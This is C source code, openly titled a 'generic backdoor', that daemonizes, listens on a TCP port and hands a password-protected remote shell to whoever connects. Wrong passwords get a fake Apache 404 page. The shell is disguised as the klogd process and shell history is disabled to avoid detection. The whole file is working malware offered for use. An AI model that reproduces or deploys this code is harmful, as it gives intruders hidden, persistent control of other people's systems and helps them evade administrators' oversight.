/* * Generic backdoor. (ab)use for your own fun and profit.. but behave.. * * C.P. (fygrave@tigerteam.net) * Nov 12 10:12:09 KGT 1998. Went public 1999. */ #define _XOPEN_SOURCE #include #include #include #include #include #include #include #include #include #define DEFAULT_PORT 8080 /* des crypted password */ #define PWD "QXtGlGiFUEeKY" void sig_hand(int sig) { int status; /* rip off children */ while(waitpid(-1,&status,WNOHANG)>0); } /* we hide ourselves as httpd daemon */ char *erro= "HTTP/1.1 404 Not Found\n" "Date: Mon, 08 Dec 1998 23:17:15 GMT\n" "Server: Apache/1.3.X (Unix)\n" "Connection: close\n" "Content-Type: text/html\n\n" "\n" "\n" "404 Not Found\n" "\n" "

Not Found

\n" "The requested URL /loha was not found on this server.

\n" "

Apache/1.3.X Server at yourserver Port 80

\n" "\n"; void my_error(int fd) { write(fd,erro,strlen(erro)); } int main(int argc,char **argv) { char *name[3]; char *env[2]; char *execname; int fd,fd2,fromlen; int port; struct sockaddr_in serv; char *crypted=PWD; unsigned char *ptr; char pass[9]; port=DEFAULT_PORT; if (argc>1 && atoi(argv[1])) port=atoi(argv[1]); #ifndef DEBUG if (fork()) exit(1); close(0); close(1); close(2); chdir("/"); setsid(); #endif signal(SIGCHLD,sig_hand); if((fd=socket(AF_INET,SOCK_STREAM,0))<0) { #ifdef DEBUG perror("socket"); #endif exit(1); } serv.sin_addr.s_addr=0; serv.sin_port=htons(port); serv.sin_family=AF_INET; if(bind(fd,(struct sockaddr *)&serv,16)) { #ifdef DEBUG perror("bind"); #endif exit(1); } if(listen(fd,5)) { #ifdef DEBUG perror("listen"); exit(1); #endif } for(;;) { fromlen=16; /*(sizeof(struct sockaddr)*/ fd2=accept(fd,(struct sockaddr *)&serv,&fromlen); if (fd2<0) continue; if (fork()) { /* parent */ close(fd2); } else { close(fd); bzero(pass,9); read(fd2,pass,8); for(ptr=pass;*ptr!=0;ptr++) if(*ptr<32) *ptr=0; if (strcmp(crypt(pass,crypted),crypted)) { my_error(fd2); exit(1); } dup2(fd2,0); dup2(fd2,1); dup2(fd2,2); execname="/bin/sh"; name[0]="/sbin/klogd"; /* gives somewhat nicer appearence */ name[1]="-i"; name[2]=NULL; /* if the actual /bin/sh is bash * we need this to get rid saving stuff into * .bash_history file */ env[0]="HISTFILE=/dev/null"; env[1]=NULL; execve(name[0],name,env); exit(1); } } }